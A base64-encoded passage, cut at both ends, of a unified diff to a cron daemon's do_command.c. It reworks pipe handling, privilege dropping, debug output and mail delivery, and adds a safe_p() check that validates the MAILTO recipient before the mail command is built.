c2UoU1RESU4pOwlkdXAyKHN0ZGluX3BpcGVbUkVBRF9QSVBFXSwgU1RESU4pOwotCQljbG9zZShT VERPVVQpOwlkdXAyKHN0ZG91dF9waXBlW1dSSVRFX1BJUEVdLCBTVERPVVQpOwotCQljbG9zZShT VERFUlIpOwlkdXAyKFNURE9VVCwgU1RERVJSKTsKLQotCQkvKiBjbG9zZSB0aGUgcGlwZXMgd2Ug anVzdCBkdXAnZWQuICBUaGUgcmVzb3VyY2VzIHdpbGwgcmVtYWluLgotCQkgKi8KLQkJY2xvc2Uo c3RkaW5fcGlwZVtSRUFEX1BJUEVdKTsKLQkJY2xvc2Uoc3Rkb3V0X3BpcGVbV1JJVEVfUElQRV0p OwotCi0JCS8qIHNldCBvdXIgbG9naW4gdW5pdmVyc2UuICBEbyB0aGlzIGluIHRoZSBncmFuZGNo aWxkCi0JCSAqIHNvIHRoYXQgdGhlIGNoaWxkIGNhbiBpbnZva2UgL3Vzci9saWIvc2VuZG1haWwK LQkJICogd2l0aG91dCBzdXJwcmlzZXMuCi0JCSAqLwotCQlkb191bml2KHUpOwotCi0jIGlmIGRl ZmluZWQoTE9HSU5fQ0FQKQotCQkvKiBTZXQgdXNlcidzIGVudGlyZSBjb250ZXh0LCBidXQgc2tp cCB0aGUgZW52aXJvbm1lbnQKLQkJICogYXMgY3JvbiBwcm92aWRlcyBhIHNlcGFyYXRlIGludGVy ZmFjZSBmb3IgdGhpcwotCQkgKi8KLQkJaWYgKChwd2QgPSBnZXRwd25hbSh1c2Vybm0pKSA9PSBO VUxMKQotCQkJcHdkID0gZ2V0cHd1aWQoZS0+dWlkKTsKLQkJbGMgPSBOVUxMOwotCQlpZiAocHdk ICE9IE5VTEwpIHsKLQkJCXB3ZC0+cHdfZ2lkID0gZS0+Z2lkOwotCQkJaWYgKGUtPmNsYXNzICE9 IE5VTEwpCi0JCQkJbGMgPSBsb2dpbl9nZXRjbGFzcyhlLT5jbGFzcyk7Ci0JCX0KLQkJaWYgKHB3 ZCAmJgotCQkgICAgc2V0dXNlcmNvbnRleHQobGMsIHB3ZCwgZS0+dWlkLAotCQkJICAgIExPR0lO X1NFVEFMTCAmIH4oTE9HSU5fU0VUUEFUSHxMT0dJTl9TRVRFTlYpKSA9PSAwKQotCQkJKHZvaWQp IGVuZHB3ZW50KCk7Ci0JCWVsc2UgewotCQkJLyogZmFsbCBiYWNrIHRvIHRoZSBvbGQgbWV0aG9k ICovCi0JCQkodm9pZCkgZW5kcHdlbnQoKTsKLSMgZW5kaWYKLQkJCS8qIHNldCBvdXIgZGlyZWN0 b3J5LCB1aWQgYW5kIGdpZC4gIFNldCBnaWQgZmlyc3QsCi0JCQkgKiBzaW5jZSBvbmNlIHdlIHNl dCB1aWQsIHdlJ3ZlIGxvc3Qgcm9vdCBwcml2aWxlZ2VzLgotCQkJICovCi0JCQlpZiAoc2V0Z2lk KGUtPmdpZCkgIT0gMCkgewotCQkJCWxvZ19pdCh1c2Vybm0sIGdldHBpZCgpLAotCQkJCSAgICAi ZXJyb3IiLCAic2V0Z2lkIGZhaWxlZCIpOwotCQkJCWV4aXQoRVJST1JfRVhJVCk7Ci0JCQl9CisJ CWlmIChzdGRpbl9waXBlW1JFQURfUElQRV0gIT0gU1RESU4pIHsKKwkJCWR1cDIoc3RkaW5fcGlw ZVtSRUFEX1BJUEVdLCBTVERJTik7CisJCQljbG9zZShzdGRpbl9waXBlW1JFQURfUElQRV0pOwor CQl9CisJCWlmIChzdGRvdXRfcGlwZVtXUklURV9QSVBFXSAhPSBTVERPVVQpIHsKKwkJCWR1cDIo c3Rkb3V0X3BpcGVbV1JJVEVfUElQRV0sIFNURE9VVCk7CisJCQljbG9zZShzdGRvdXRfcGlwZVtX UklURV9QSVBFXSk7CisJCX0KKwkJZHVwMihTVERPVVQsIFNUREVSUik7CisKKworI2lmZGVmIExP R0lOX0NBUAorIC8qIFNldCB1c2VyJ3MgZW50aXJlIGNvbnRleHQsIGJ1dCBza2lwIHRoZSBlbnZp cm9ubWVudAorICAgICAgICAgICAgICAgICAqIGFzIGNyb24gcHJvdmlkZXMgYSBzZXBhcmF0ZSBp bnRlcmZhY2UgZm9yIHRoaXMKKyAgICAgICAgICAgICAgICAgKi8KKyAgICAgICAgICAgICAgICBp ZiAoKHB3ZCA9IGdldHB3bmFtKHVzZXJubSkpID09IE5VTEwpCisgICAgICAgICAgICAgICAgICAg ICAgICBwd2QgPSBnZXRwd3VpZChlLT51aWQpOworICAgICAgICAgICAgICAgIGxjID0gTlVMTDsK KyAgICAgICAgICAgICAgICBpZiAocHdkICE9IE5VTEwpIHsKKyAgICAgICAgICAgICAgICAgICAg ICAgIHB3ZC0+cHdfZ2lkID0gZS0+Z2lkOworICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGUt PmNsYXNzICE9IE5VTEwpCisgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxjID0gbG9n aW5fZ2V0Y2xhc3MoZS0+Y2xhc3MpOworICAgICAgICAgICAgICAgIH0KKyAgICAgICAgICAgICAg ICBpZiAocHdkICYmCisgICAgICAgICAgICAgICAgICAgIHNldHVzZXJjb250ZXh0KGxjLCBwd2Qs IGUtPnVpZCwKKyAgICAgICAgICAgICAgICAgICAgICAgICAgICBMT0dJTl9TRVRBTEwgJiB+KExP R0lOX1NFVFBBVEh8TE9HSU5fU0VURU5WKSkgPT0gMCkKKyAgICAgICAgICAgICAgICAgICAgICAg ICh2b2lkKSBlbmRwd2VudCgpOworICAgICAgICAgICAgICAgIGVsc2UgeworICAgICAgICAgICAg ICAgICAgICAgICAgLyogZmFsbCBiYWNrIHRvIHRoZSBvbGQgbWV0aG9kICovCisgICAgICAgICAg ICAgICAgICAgICAgICAodm9pZCkgZW5kcHdlbnQoKTsKKworCisjZW5kaWYgLyogTE9HSU5fQ0FQ ICovCisgICAgICAgICAgICAgICAgICAgIC8qIHNldCBvdXIgZGlyZWN0b3J5LCB1aWQgYW5kIGdp ZC4gIFNldCBnaWQgZmlyc3QsCisgICAgICAgICAgICAgICAgICAgICAgICAgKiBzaW5jZSBvbmNl IHdlIHNldCB1aWQsIHdlJ3ZlIGxvc3Qgcm9vdCBwcml2aWxlZ2VzLgorICAgICAgICAgICAgICAg ICAgICAgICAgICovCisgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc2V0Z2lkKGUtPmdpZCkg IT0gMCkgeworICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb2dfaXQodXNlcm5tLCBn ZXRwaWQoKSwKKyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJlcnJvciIsICJz ZXRnaWQgZmFpbGVkIik7CisgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQoRVJS T1JfRVhJVCk7CisgICAgICAgICAgICAgICAgICAgICAgICB9CiAjIGlmIGRlZmluZWQoQlNEKQot CQkJaWYgKGluaXRncm91cHModXNlcm5tLCBlLT5naWQpICE9IDApIHsKLQkJCQlsb2dfaXQodXNl cm5tLCBnZXRwaWQoKSwKLQkJCQkgICAgImVycm9yIiwgImluaXRncm91cHMgZmFpbGVkIik7Ci0J CQkJZXhpdChFUlJPUl9FWElUKTsKLQkJCX0KKyAgICAgICAgICAgICAgICAgICAgICAgIGlmIChp bml0Z3JvdXBzKHVzZXJubSwgZS0+Z2lkKSAhPSAwKSB7CisgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIGxvZ19pdCh1c2Vybm0sIGdldHBpZCgpLAorICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgImVycm9yIiwgImluaXRncm91cHMgZmFpbGVkIik7CisgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIGV4aXQoRVJST1JfRVhJVCk7CisgICAgICAgICAgICAgICAg ICAgICAgICB9CiAjIGVuZGlmCi0JCQlpZiAoc2V0bG9naW4odXNlcm5tKSAhPSAwKSB7Ci0JCQkJ bG9nX2l0KHVzZXJubSwgZ2V0cGlkKCksCi0JCQkJICAgICJlcnJvciIsICJzZXRsb2dpbiBmYWls ZWQiKTsKLQkJCQlleGl0KEVSUk9SX0VYSVQpOwotCQkJfQotCQkJaWYgKHNldHVpZChlLT51aWQp ICE9IDApIHsKLQkJCQlsb2dfaXQodXNlcm5tLCBnZXRwaWQoKSwKLQkJCQkgICAgImVycm9yIiwg InNldHVpZCBmYWlsZWQiKTsKLQkJCQlleGl0KEVSUk9SX0VYSVQpOwotCQkJfQotCQkJLyogd2Ug YXJlbid0IHJvb3QgYWZ0ZXIgdGhpcy4uKi8KKyAgICAgICAgICAgICAgICAgICAgICAgIGlmIChz ZXRsb2dpbih1c2Vybm0pICE9IDApIHsKKyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg bG9nX2l0KHVzZXJubSwgZ2V0cGlkKCksCisgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAiZXJyb3IiLCAic2V0bG9naW4gZmFpbGVkIik7CisgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIGV4aXQoRVJST1JfRVhJVCk7CisgICAgICAgICAgICAgICAgICAgICAgICB9Cisg ICAgICAgICAgICAgICAgICAgICAgICBpZiAoc2V0dWlkKGUtPnVpZCkgIT0gMCkgeworICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICBsb2dfaXQodXNlcm5tLCBnZXRwaWQoKSwKKyAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJlcnJvciIsICJzZXR1aWQgZmFpbGVkIik7 CisgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQoRVJST1JfRVhJVCk7CisgICAg ICAgICAgICAgICAgICAgICAgICB9CisgICAgICAgICAgICAgICAgICAgICAgICAvKiB3ZSBhcmVu J3Qgcm9vdCBhZnRlciB0aGlzLi4qLwogI2lmIGRlZmluZWQoTE9HSU5fQ0FQKQotCQl9Ci0JCWlm IChsYyAhPSBOVUxMKQotCQkJbG9naW5fY2xvc2UobGMpOworICAgICAgICAgICAgICAgIH0KKyAg ICAgICAgICAgICAgICBpZiAobGMgIT0gTlVMTCkKKyAgICAgICAgICAgICAgICAgICAgICAgIGxv Z2luX2Nsb3NlKGxjKTsKICNlbmRpZgorCiAJCWNoZGlyKGVudl9nZXQoIkhPTUUiLCBlLT5lbnZw KSk7CiAKLQkJLyogZXhlYyB0aGUgY29tbWFuZC4KKwkJLyoKKwkJICogRXhlYyB0aGUgY29tbWFu ZC4KIAkJICovCiAJCXsKIAkJCWNoYXIJKnNoZWxsID0gZW52X2dldCgiU0hFTEwiLCBlLT5lbnZw KTsKQEAgLTMzNiw3ICszMTYsOCBAQAogCQkJfQogIyBlbmRpZiAvKkRFQlVHR0lORyovCiAJCQll eGVjbGUoc2hlbGwsIHNoZWxsLCAiLWMiLCBlLT5jbWQsIChjaGFyICopMCwgZS0+ZW52cCk7Ci0J CQl3YXJuKCJleGVjbDogY291bGRuJ3QgZXhlYyBgJXMnIiwgc2hlbGwpOworCQkJZnByaW50Zihz dGRlcnIsICJleGVjbDogY291bGRuJ3QgZXhlYyBgJXMnXG4iLCBzaGVsbCk7CisJCQlwZXJyb3Io ImV4ZWNsIik7CiAJCQlfZXhpdChFUlJPUl9FWElUKTsKIAkJfQogCQlicmVhazsKQEAgLTM1MSw3 ICszMzIsNyBAQAogCSAqIHRoZSB1c2VyJ3MgY29tbWFuZC4KIAkgKi8KIAotCURlYnVnKERQUk9D LCAoIlslZF0gY2hpbGQgY29udGludWVzLCBjbG9zaW5nIHBpcGVzXG4iLCBnZXRwaWQoKSkpCisJ RGVidWcoRFBST0MsICgiWyVsZF0gY2hpbGQgY29udGludWVzLCBjbG9zaW5nIHBpcGVzXG4iLChs b25nKWdldHBpZCgpKSkKIAogCS8qIGNsb3NlIHRoZSBlbmRzIG9mIHRoZSBwaXBlIHRoYXQgd2ls bCBvbmx5IGJlIHJlZmVyZW5jZWQgaW4gdGhlCiAJICogZ3JhbmRjaGlsZCBwcm9jZXNzLi4uCkBA IC0zNzEsMTcgKzM1MiwxOCBAQAogCSAqLwogCiAJaWYgKCppbnB1dF9kYXRhICYmIGZvcmsoKSA9 PSAwKSB7Ci0JCXJlZ2lzdGVyIEZJTEUJKm91dCA9IGZkb3BlbihzdGRpbl9waXBlW1dSSVRFX1BJ UEVdLCAidyIpOwotCQlyZWdpc3RlciBpbnQJbmVlZF9uZXdsaW5lID0gRkFMU0U7Ci0JCXJlZ2lz dGVyIGludAllc2NhcGVkID0gRkFMU0U7Ci0JCXJlZ2lzdGVyIGludAljaDsKKwkJRklMRSAqb3V0 ID0gZmRvcGVuKHN0ZGluX3BpcGVbV1JJVEVfUElQRV0sICJ3Iik7CisJCWludCBuZWVkX25ld2xp bmUgPSBGQUxTRTsKKwkJaW50IGVzY2FwZWQgPSBGQUxTRTsKKwkJaW50IGNoOwogCiAJCWlmIChv dXQgPT0gTlVMTCkgewotCQkJd2FybigiZmRvcGVuIGZhaWxlZCBpbiBjaGlsZDIiKTsKKwkJCXdh cm4oImZkb3BlbiBpbiBjaGlsZDIiKTsKIAkJCV9leGl0KEVSUk9SX0VYSVQpOwogCQl9CiAKLQkJ RGVidWcoRFBST0MsICgiWyVkXSBjaGlsZDIgc2VuZGluZyBkYXRhIHRvIGdyYW5kY2hpbGRcbiIs IGdldHBpZCgpKSkKKwkJRGVidWcoRFBST0MsICgiWyVsZF0gY2hpbGQyIHNlbmRpbmcgZGF0YSB0 byBncmFuZGNoaWxkXG4iLAorCQkJICAgICAgKGxvbmcpZ2V0cGlkKCkpKQogCiAJCS8qIGNsb3Nl IHRoZSBwaXBlIHdlIGRvbid0IHVzZSwgc2luY2Ugd2UgaW5oZXJpdGVkIGl0IGFuZAogCQkgKiBh cmUgcGFydCBvZiBpdHMgcmVmZXJlbmNlIGNvdW50IG5vdy4KQEAgLTM5Myw3ICszNzUsNyBAQAog CQkgKgklICAtPiBcbgogCQkgKglceCAtPiBceAlmb3IgYWxsIHggIT0gJQogCQkgKi8KLQkJd2hp bGUgKChjaCA9ICppbnB1dF9kYXRhKyspKSB7CisJCXdoaWxlICgoY2ggPSAqaW5wdXRfZGF0YSsr KSAhPSAnXDAnKSB7CiAJCQlpZiAoZXNjYXBlZCkgewogCQkJCWlmIChjaCAhPSAnJScpCiAJCQkJ CXB1dGMoJ1xcJywgb3V0KTsKQEAgLTQxNyw3ICszOTksOCBAQAogCQkgKi8KIAkJZmNsb3NlKG91 dCk7CiAKLQkJRGVidWcoRFBST0MsICgiWyVkXSBjaGlsZDIgZG9uZSBzZW5kaW5nIHRvIGdyYW5k Y2hpbGRcbiIsIGdldHBpZCgpKSkKKwkJRGVidWcoRFBST0MsICgiWyVsZF0gY2hpbGQyIGRvbmUg c2VuZGluZyB0byBncmFuZGNoaWxkXG4iLAorCQkJICAgICAgKGxvbmcpZ2V0cGlkKCkpKQogCQll eGl0KDApOwogCX0KIApAQCAtNDM1LDU3ICs0MTgsNjcgQEAKIAkgKiB3aGVuIHRoZSBncmFuZGNo aWxkIGV4aXRzLCB3ZSdsbCBnZXQgRU9GLgogCSAqLwogCi0JRGVidWcoRFBST0MsICgiWyVkXSBj aGlsZCByZWFkaW5nIG91dHB1dCBmcm9tIGdyYW5kY2hpbGRcbiIsIGdldHBpZCgpKSkKKwlEZWJ1 ZyhEUFJPQywgKCJbJWxkXSBjaGlsZCByZWFkaW5nIG91dHB1dCBmcm9tIGdyYW5kY2hpbGRcbiIs CisJCSAgICAgIChsb25nKWdldHBpZCgpKSkKIAogCS8qbG9jYWwqL3sKLQkJcmVnaXN0ZXIgRklM RQkqaW4gPSBmZG9wZW4oc3Rkb3V0X3BpcGVbUkVBRF9QSVBFXSwgInIiKTsKLQkJcmVnaXN0ZXIg aW50CWNoOworCQlGSUxFCSppbiA9IGZkb3BlbihzdGRvdXRfcGlwZVtSRUFEX1BJUEVdLCAiciIp OworCQlpbnQJY2ggPSBnZXRjKGluKTsKIAogCQlpZiAoaW4gPT0gTlVMTCkgewogCQkJd2Fybigi ZmRvcGVuIGZhaWxlZCBpbiBjaGlsZCIpOwogCQkJX2V4aXQoRVJST1JfRVhJVCk7CiAJCX0KIAot CQljaCA9IGdldGMoaW4pOwogCQlpZiAoY2ggIT0gRU9GKSB7Ci0JCQlyZWdpc3RlciBGSUxFCSpt YWlsOwotCQkJcmVnaXN0ZXIgaW50CWJ5dGVzID0gMTsKLQkJCWludAkJc3RhdHVzID0gMDsKKwkJ CUZJTEUJKm1haWw7CisJCQlpbnQJYnl0ZXMgPSAxOworCQkJaW50CXN0YXR1cyA9IDA7CiAKIAkJ CURlYnVnKERQUk9DfERFWFQsCi0JCQkJKCJbJWRdIGdvdCBkYXRhICgleDolYykgZnJvbSBncmFu ZGNoaWxkXG4iLAotCQkJCQlnZXRwaWQoKSwgY2gsIGNoKSkKKwkJCSAgICAgICgiWyVsZF0gZ290 IGRhdGEgKCV4OiVjKSBmcm9tIGdyYW5kY2hpbGRcbiIsCisJCQkgICAgICAgKGxvbmcpZ2V0cGlk KCksIGNoLCBjaCkpCiAKIAkJCS8qIGdldCBuYW1lIG9mIHJlY2lwaWVudC4gIHRoaXMgaXMgTUFJ TFRPIGlmIHNldCB0byBhCiAJCQkgKiB2YWxpZCBsb2NhbCB1c2VybmFtZTsgVVNFUiBvdGhlcndp c2UuCiAJCQkgKi8KLQkJCWlmIChtYWlsdG8gPT0gTlVMTCkgewotCQkJCS8qIE1BSUxUTyBub3Qg cHJlc2VudCwgc2V0IHRvIFVTRVIsCi0JCQkJICogdW5sZXNzIGdsb2JhbGx5IG92ZXJyaWRlbi4K KwkJCWlmKG1haWx0byA9PSBOVUxMKSB7CisJCQkJLypNQUlMVE8gbm90IHByZXNlbnQsIHNldCB0 byBVU0VSLAorCQkJCSAqIHVubGVzcyBnbG9iYWxseSBvdmVycmlkZW4KIAkJCQkgKi8KLQkJCQlp ZiAoZGVmbWFpbHRvKQorCQkJCWlmICghKm1haWx0bykgeworCQkJCQkvKiAuLi4gYnV0IGl0J3Mg ZW1wdHkuIHNldCB0byBOVUxMCisJCQkJCSAqLworCQkJCQltYWlsdG8gPSBOVUxMOworCQkJCX0K KwkJCX0gZWxzZSB7CisJCQkJLyogTUFJTFRPIG5vdCBwcmVzZW50LCBzZXQgdG8gVVNFUi4KKwkJ CQkgKi8KKwkJCQlpZiAoZGVmbWFpbHRvKSAKIAkJCQkJbWFpbHRvID0gZGVmbWFpbHRvOwotCQkJ CWVsc2UKKwkJCQllbHNlIAogCQkJCQltYWlsdG8gPSB1c2Vybm07CiAJCQl9Ci0JCQlpZiAobWFp bHRvICYmICptYWlsdG8gPT0gJ1wwJykKLQkJCQltYWlsdG8gPSBOVUxMOwotCisJCQogCQkJLyog aWYgd2UgYXJlIHN1cHBvc2VkIHRvIGJlIG1haWxpbmcsIE1BSUxUTyB3aWxsCiAJCQkgKiBiZSBu b24tTlVMTC4gIG9ubHkgaW4gdGhpcyBjYXNlIHNob3VsZCB3ZSBzZXQKIAkJCSAqIHVwIHRoZSBt YWlsIGNvbW1hbmQgYW5kIHN1YmplY3RzIGFuZCBzdHVmZi4uLgogCQkJICovCiAKLQkJCWlmICht YWlsdG8pIHsKLQkJCQlyZWdpc3RlciBjaGFyCSoqZW52OwotCQkJCWF1dG8gY2hhcgltYWlsY21k W01BWF9DT01NQU5EXTsKLQkJCQlhdXRvIGNoYXIJaG9zdG5hbWVbTUFYSE9TVE5BTUVMRU5dOwot Ci0JCQkJKHZvaWQpIGdldGhvc3RuYW1lKGhvc3RuYW1lLCBNQVhIT1NUTkFNRUxFTik7Ci0JCQkJ KHZvaWQpIHNucHJpbnRmKG1haWxjbWQsIHNpemVvZihtYWlsY21kKSwKLQkJCQkJICAgICAgIE1B SUxBUkdTLCBNQUlMQ01EKTsKKwkJCWlmIChtYWlsdG8gJiYgc2FmZV9wKHVzZXJubSwgbWFpbHRv KSkgeworCQkJCWNoYXIJKiplbnY7CisJCQkJY2hhcgltYWlsY21kW01BWF9DT01NQU5EXTsKKwkJ CQljaGFyCWhvc3RuYW1lW01BWEhPU1ROQU1FTEVOXTsKKworCQkJCWdldGhvc3RuYW1lKGhvc3Ru YW1lLCBNQVhIT1NUTkFNRUxFTik7CisJCQkJaWYgKHN0cmxlbnMoTUFJTEZNVCwgTUFJTEFSRywg TlVMTCkgKyAxCisJCQkJICAgID49IHNpemVvZiBtYWlsY21kKSB7CisJCQkJCWZwcmludGYoc3Rk ZXJyLCAibWFpbGNtZCB0b28gbG9uZ1xuIik7CisJCQkJCSh2b2lkKSBfZXhpdChFUlJPUl9FWElU KTsKKwkJCQl9CisJCQkJKHZvaWQpc3ByaW50ZihtYWlsY21kLCBNQUlMRk1ULCBNQUlMQVJHKTsK IAkJCQlpZiAoIShtYWlsID0gY3Jvbl9wb3BlbihtYWlsY21kLCAidyIsIGUpKSkgewotCQkJCQl3 YXJuKCIlcyIsIE1BSUxDTUQpOworCQkJCQl3YXJuKCIlcyIsIG1haWxjbWQpOwogCQkJCQkodm9p ZCkgX2V4aXQoRVJST1JfRVhJVCk7CiAJCQkJfQogCQkJCWZwcmludGYobWFpbCwgIkZyb206ICVz IChDcm9uIERhZW1vbilcbiIsIHVzZXJubSk7CkBAIC00OTMsMTAgKzQ4NiwxMCBAQAogCQkJCWZw cmludGYobWFpbCwgIlN1YmplY3Q6IENyb24gPCVzQCVzPiAlc1xuIiwKIAkJCQkJdXNlcm5tLCBm aXJzdF93b3JkKGhvc3RuYW1lLCAiLiIpLAogCQkJCQllLT5jbWQpOwotIyBpZiBkZWZpbmVkKE1B SUxfREFURSkKKyNpZmRlZiBNQUlMX0RBVEUKIAkJCQlmcHJpbnRmKG1haWwsICJEYXRlOiAlc1xu IiwKLQkJCQkJYXJwYWRhdGUoJlRhcmdldFRpbWUpKTsKLSMgZW5kaWYgLyogTUFJTF9EQVRFICov CisJCQkJCWFycGFkYXRlKCZTdGFydFRpbWUpKTsKKyNlbmRpZiAvKk1BSUxfREFURSovCiAJCQkJ Zm9yIChlbnYgPSBlLT5lbnZwOyAgKmVudjsgIGVudisrKQogCQkJCQlmcHJpbnRmKG1haWwsICJY LUNyb24tRW52OiA8JXM+XG4iLAogCQkJCQkJKmVudik7CkBAIC01MjMsOCArNTE2LDggQEAKIAkJ CSAqLwogCiAJCQlpZiAobWFpbHRvKSB7Ci0JCQkJRGVidWcoRFBST0MsICgiWyVkXSBjbG9zaW5n IHBpcGUgdG8gbWFpbFxuIiwKLQkJCQkJZ2V0cGlkKCkpKQorCQkJCURlYnVnKERQUk9DLCAoIlsl bGRdIGNsb3NpbmcgcGlwZSB0byBtYWlsXG4iLAorCQkJCQkgICAgICAobG9uZylnZXRwaWQoKSkp CiAJCQkJLyogTm90ZTogdGhlIHBjbG9zZSB3aWxsIHByb2JhYmx5IHNlZQogCQkJCSAqIHRoZSB0 ZXJtaW5hdGlvbiBvZiB0aGUgZ3JhbmRjaGlsZAogCQkJCSAqIGluIGFkZGl0aW9uIHRvIHRoZSBt YWlsIHByb2Nlc3MsIHNpbmNlCkBAIC01NDEsNyArNTM0LDcgQEAKIAkJCWlmIChtYWlsdG8gJiYg c3RhdHVzKSB7CiAJCQkJY2hhciBidWZbTUFYX1RFTVBTVFJdOwogCi0JCQkJc25wcmludGYoYnVm LCBzaXplb2YoYnVmKSwKKwkJCQlzcHJpbnRmKGJ1ZiwKIAkJCSJtYWlsZWQgJWQgYnl0ZSVzIG9m IG91dHB1dCBidXQgZ290IHN0YXR1cyAweCUwNHhcbiIsCiAJCQkJCWJ5dGVzLCAoYnl0ZXM9PTEp PyIiOiJzIiwKIAkJCQkJc3RhdHVzKTsKQEAgLTU1MCw2OCArNTQzLDQ4IEBACiAKIAkJfSAvKmlm IGRhdGEgZnJvbSBncmFuZGNoaWxkKi8KIAotCQlEZWJ1ZyhEUFJPQywgKCJbJWRdIGdvdCBFT0Yg ZnJvbSBncmFuZGNoaWxkXG4iLCBnZXRwaWQoKSkpCisJCURlYnVnKERQUk9DLCAoIlslbGRdIGdv dCBFT0YgZnJvbSBncmFuZGNoaWxkXG4iLAorCQkJICAgICAgKGxvbmcpZ2V0cGlkKCkpKQogCiAJ CWZjbG9zZShpbik7CS8qIGFsc28gY2xvc2VzIHN0ZG91dF9waXBlW1JFQURfUElQRV0gKi8KIAl9 CiAKIAkvKiB3YWl0IGZvciBjaGlsZHJlbiB0byBkaWUuCiAJICovCi0JZm9yICg7ICBjaGlsZHJl biA+IDA7ICBjaGlsZHJlbi0tKQotCXsKLQkJV0FJVF9UCQl3YWl0ZXI7Ci0JCVBJRF9UCQlwaWQ7 Ci0KLQkJRGVidWcoRFBST0MsICgiWyVkXSB3YWl0aW5nIGZvciBncmFuZGNoaWxkICMlZCB0byBm aW5pc2hcbiIsCi0JCQlnZXRwaWQoKSwgY2hpbGRyZW4pKQotCQlwaWQgPSB3YWl0KCZ3YWl0ZXIp OworCWZvciAoOyBjaGlsZHJlbiA+IDA7IGNoaWxkcmVuLS0pIHsKKwkJV0FJVF9UIHdhaXRlcjsK KwkJUElEX1QgcGlkOworCisJCURlYnVnKERQUk9DLCAoIlslbGRdIHdhaXRpbmcgZm9yIGdyYW5k Y2hpbGQgIyVkIHRvIGZpbmlzaFxuIiwKKwkJCSAgICAgIChsb25nKWdldHBpZCgpLCBjaGlsZHJl bikpCisJCXdoaWxlICgocGlkID0gd2FpdCgmd2FpdGVyKSkgPCBPSyAmJiBlcnJubyA9PSBFSU5U UikKKwkJCTsKIAkJaWYgKHBpZCA8IE9LKSB7Ci0JCQlEZWJ1ZyhEUFJPQywgKCJbJWRdIG5vIG1v cmUgZ3JhbmRjaGlsZHJlbi0tbWFpbCB3cml0dGVuP1xuIiwKLQkJCQlnZXRwaWQoKSkpCisJCQlE ZWJ1ZyhEUFJPQywKKwkJCSAgICAgICgiWyVsZF0gbm8gbW9yZSBncmFuZGNoaWxkcmVuLS1tYWls IHdyaXR0ZW4/XG4iLAorCQkJICAgICAgIChsb25nKWdldHBpZCgpKSkKIAkJCWJyZWFrOwogCQl9 Ci0JCURlYnVnKERQUk9DLCAoIlslZF0gZ3JhbmRjaGlsZCAjJWQgZmluaXNoZWQsIHN0YXR1cz0l MDR4IiwKLQkJCWdldHBpZCgpLCBwaWQsIFdFWElUU1RBVFVTKHdhaXRlcikpKQorCQlEZWJ1ZyhE UFJPQywgKCJbJWxkXSBncmFuZGNoaWxkICMlbGQgZmluaXNoZWQsIHN0YXR1cz0lMDR4IiwKKwkJ CSAgICAgIChsb25nKWdldHBpZCgpLCAobG9uZylwaWQsIFdFWElUU1RBVFVTKHdhaXRlcikpKQog CQlpZiAoV0lGU0lHTkFMRUQod2FpdGVyKSAmJiBXQ09SRURVTVAod2FpdGVyKSkKIAkJCURlYnVn KERQUk9DLCAoIiwgZHVtcGVkIGNvcmUiKSkKIAkJRGVidWcoRFBST0MsICgiXG4iKSkKIAl9CiB9 CiAKLQotc3RhdGljIHZvaWQKLWRvX3VuaXYodSkKLQl1c2VyCSp1OwotewotI2lmIGRlZmluZWQo c2VxdWVudCkKLS8qIER5bml4IChTZXF1ZW50KSBoYWNrIHRvIHB1dCB0aGUgdXNlciBhc3NvY2lh dGVkIHdpdGgKLSAqIHRoZSBwYXNzZWQgdXNlciBzdHJ1Y3R1cmUgaW50byB0aGUgQVRUIHVuaXZl cnNlIGlmCi0gKiBuZWNlc3NhcnkuICBXZSBoYXZlIHRvIGRpZyB0aGUgZ2Vjb3MgaW5mbyBvdXQg b2YKLSAqIHRoZSB1c2VyJ3MgcGFzc3dvcmQgZW50cnkgdG8gc2VlIGlmIHRoZSBtYWdpYwotICog InVuaXZlcnNlKGF0dCkiIHN0cmluZyBpcyBwcmVzZW50LgotICovCi0KLQlzdHJ1Y3QJcGFzc3dk CSpwOwotCWNoYXIJKnM7Ci0JaW50CWk7Ci0KLQlwID0gZ2V0cHd1aWQodS0+dWlkKTsKLQkodm9p ZCkgZW5kcHdlbnQoKTsKLQotCWlmIChwID09IE5VTEwpCi0JCXJldHVybjsKLQotCXMgPSBwLT5w d19nZWNvczsKLQotCWZvciAoaSA9IDA7IGkgPCA0OyBpKyspCi0JewotCQlpZiAoKHMgPSBzdHJj aHIocywgJywnKSkgPT0gTlVMTCkKLQkJCXJldHVybjsKLQkJcysrOworc3RhdGljIGludAorc2Fm ZV9wKGNvbnN0IGNoYXIgKnVzZXJubSwgY29uc3QgY2hhciAqcykgeworCXN0YXRpYyBjb25zdCBj aGFyIHNhZmVfZGVsaW1bXSA9ICJAITolLS4sIjsgICAgIC8qIGNvbnNlcnZhdGl2ZSEgKi8KKwlj b25zdCBjaGFyICp0OworCWludCBjaCwgZmlyc3Q7CisKKwlmb3IgKHQgPSBzLCBmaXJzdCA9IDE7 IChjaCA9ICp0KyspICE9ICdcMCc7IGZpcnN0ID0gMCkgeworCQlpZiAoaXNhc2NpaShjaCkgJiYg aXNwcmludChjaCkgJiYKKwkJICAgIChpc2FsbnVtKGNoKSB8fCAoIWZpcnN0ICYmIHN0cmNocihz YWZlX2RlbGltLCBjaCkpKSkKKwkJCWNvbnRpbnVlOworCQlsb2dfaXQodXNlcm5tLCBnZXRwaWQo KSwgIlVOU0FGRSIsIHMpOworCQlyZXR1cm4gKEZBTFNFKTsKIAl9Ci0JaWYgKHN0cmNtcChzLCAi dW5pdmVyc2UoYXR0KSIpKQotCQlyZXR1cm47Ci0KLQkodm9pZCkgdW5pdmVyc2UoVV9BVFQpOwot I2VuZGlmCisJcmV0dXJuIChUUlVFKTsKIH0KZGlmZiAtcnVOIC91c3Ivc3JjL3Vzci5zYmluL2Ny 